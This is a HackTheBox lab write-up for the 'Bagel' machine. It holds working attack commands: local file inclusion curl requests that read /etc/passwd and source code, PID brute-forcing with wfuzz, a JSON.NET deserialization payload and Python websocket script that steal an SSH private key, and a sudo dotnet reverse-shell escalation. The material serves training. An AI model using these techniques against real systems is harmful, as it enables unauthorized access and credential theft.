HackTheBox — Bagel

ARZ101
7 min readJun 3, 2023

Bagel involved dealing with file read vulnerability, reading the application source code (app.py) which reveals that it’s using web sockets, connecting to a dotnet application and mentions about a DLL which we can read by fuzzing for process ID /proc/$PID/fd which is the file that the process has open on the file descriptor, with this we’ll find a password in DB_Connection function and there’s deserlization in the File class through which we were able to directly read any file with ReadFile function as phill , with this user we can run dotnet as a root user, and can run any dotnet application code to get root.

NMAP

Nmap scan report for 10.10.11.201                                                                                                                                                                                      
Host is up (0.29s latency).
Not shown: 65519 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Sun, 19 Feb 2023 15:46:30 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date: Sun, 19 Feb 2023 15:46:47 GMT
| Connection: close
| Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date: Sun, 19 Feb 2023 15:46:58 GMT
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Sun, 19 Feb 2023 15:46:31 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date: Sun, 19 Feb 2023 15:46:25 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-title: Did not follow redirect to http://bagel.htb:8000/?page=index.html
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9

PORT 8000 (HTTP)

The port redirects to bagel.htb, so adding that in hosts file

Adding bagel.htb in /etc/hosts

Fuzzing for files and directories it didn’t showed anything other than /orders

Orders didn’t showed anything

Trying for subdomain enumeration with wfuzz, it didn't showed any results as well

Foothold

Going back to home page, we can see it’s include an html page with page parameter, we can try testing for directory traversal/file Read

wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u 'http://bagel.htb:8000/?page=FUZZ' --hw 3
curl 'http://bagel.htb:8000/?page=../../../../../../../../../../../../../../../../etc/passwd'

Since this is a flask application, we know that because of Werkzeug running, so through LFI we can read app.py

curl 'http://bagel.htb:8000/?page=../app.py

Now the source code mentions about a dll file

So in order to find the dll, we need to brute force the process ID in /proc/FUZZ/fd

First create a wordlist of numbers, I create a wordlist with `crunch`

crunch 1 3 1234567890 > numbers.txt

Next use wfuzz to fuzz for PIDs with the created wordlist

requests with 14 characters will show file not found so we need to look for requests having a different number of characters so by filtering on 0 and 14 characters I was able to find a request which was having the PID for dll

curl 'http://bagel.htb:8000/?page=../../../../../proc/887/cmdline' -so -

Download the dll file through curl

curl 'http://bagel.htb:8000/?page=../../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -o bagel.dl

Opening the dll file using ILSpy we can see some functions in the dll, it was quite overwhelming for me as it did took me sometime to understand what was happening here, we can find database credentials from DB_Connection method

If we see the Handler class

It is set to 4 which means it's set to AUTO, that can include .NET type which makes this vulnerable to JSON .NET deserizliation as configuration shouldn't be set to anything other than None

Checking the Orders class we have RemoveOrder object having empty constructor which fulfils the requirement for this deserialization

The application on /orders is using ReadOrder function which is filtering for reading local files as it's reading orders.txt from /opt/bagel/orders/

To perform json deserlization using RemoveOrder function, our payload should like this

{"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../home/phil/.ssh/id_rsa"}}

Here with $type we can define the class, bagel_server.File is the class we want to access and in ReadFile we are defining which file we want to read, ReadFile doesn’t have any validation and we’ll able to to read any file which uses ReadContent to fetch the file as long we have permissions to access that.

On to sending our payload, we can use the same code which is in app.py

import websocket,json
ws = websocket.WebSocket()
ws.connect("ws://10.10.11.201:5000/") # connect to order app
order = {"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(json.loads(result))

Having a shell as phil, we can then escalate to developer as we already had found the password

Privilege Escalation (developer)

With sudo -l we can list what this user can run as root user

Privilege Escalation (root)

We can run dotnet application, so first creating a dotnet application with dotnet console which will then generate a cs and proj file, editing the cs file with

System.Diagnostics.Process.Start("program","arguemnts");

Which is simply executing bash with a script uwu.sh having a reverse shell

References

--

--